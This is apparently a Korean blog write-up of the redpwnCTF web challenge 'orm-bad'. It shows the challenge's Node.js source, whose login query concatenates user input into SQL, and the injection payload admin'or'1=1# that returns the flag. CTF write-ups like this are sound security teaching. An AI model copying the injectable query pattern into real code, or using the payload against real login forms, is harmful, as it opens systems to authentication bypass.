CTFs

redpwnCTF - orm-bad

HackHiJack 2021. 7. 25. 21:48
728x90
반응형

이번에는 orm_bad(web)를 풀어볼것이다.

 

아래는 이 문제의 js 파일이다.

const express = require('express');
const sqlite3 = require('sqlite3');
const crypto = require('crypto')


const app = express();
app.use(express.urlencoded({extended: true}));
app.use(express.static('./public'));
app.set('view engine', 'ejs');

const db = new sqlite3.Database(':memory:');

const flag = process.env.FLAG;

// yes i know this is callback hell no im not sure if sqlite3 supports promises
// and yes this is necessary because of a race condition on program start
db.run("CREATE table IF NOT EXISTS users (username text, password text)", () => {
    db.all("SELECT * FROM users WHERE username='admin'", (err, rows) => {
        if (err) {
            throw err;
        } else if (rows.length == 0) {
            // generate random admin password
            crypto.randomBytes(32, (err, buf) => {
                // if you managed to make this error you deserve it
                if (err) {
                    throw err;
                }
                db.all("INSERT INTO users VALUES ('admin', $1)", [buf.toString('hex')]);
                console.log("Admin password: " + buf.toString('hex'));
            });
        }
    })
});


app.get('/', (req, res) => {
    return res.render("index.ejs", {"alert": req.query.alert});
})

app.post('/flag', (req, res) => {
    db.all("SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'", (err, rows) => {
        try {
            if (rows.length == 0) {
                res.redirect("/?alert=" + encodeURIComponent("you are not admin :("));
            } else if(rows[0].username === "admin") {
                res.redirect("/?alert=" + encodeURIComponent(flag));
            } else {
                res.redirect("/?alert=" + encodeURIComponent("you are not admin :("));
            }
        } catch (e) {
            res.status(500).end();
        }
    })
})

app.listen(80, () => console.log('Site listening on port 80'));

위 코드를 보면 아이디가 admin인 사용자가 로그인에 성공하면 flag를 준다.

 

위 문제는 간단한 sql문제인걸 확인할 수 있다.

 

위는 문제 페이지이다. (https://orm-bad.mc.ax/)

 

flag를 얻으려면 아이디에 admin과 1=1이라는 참의 sql구문을 넣으면 된다.

 

그러면 아래처럼 넣으면 된다.

Username = admin'or'1=1#
Password =

그러면 아래처럼 flag가 나오는 걸 알수 있다.

 

728x90
반응형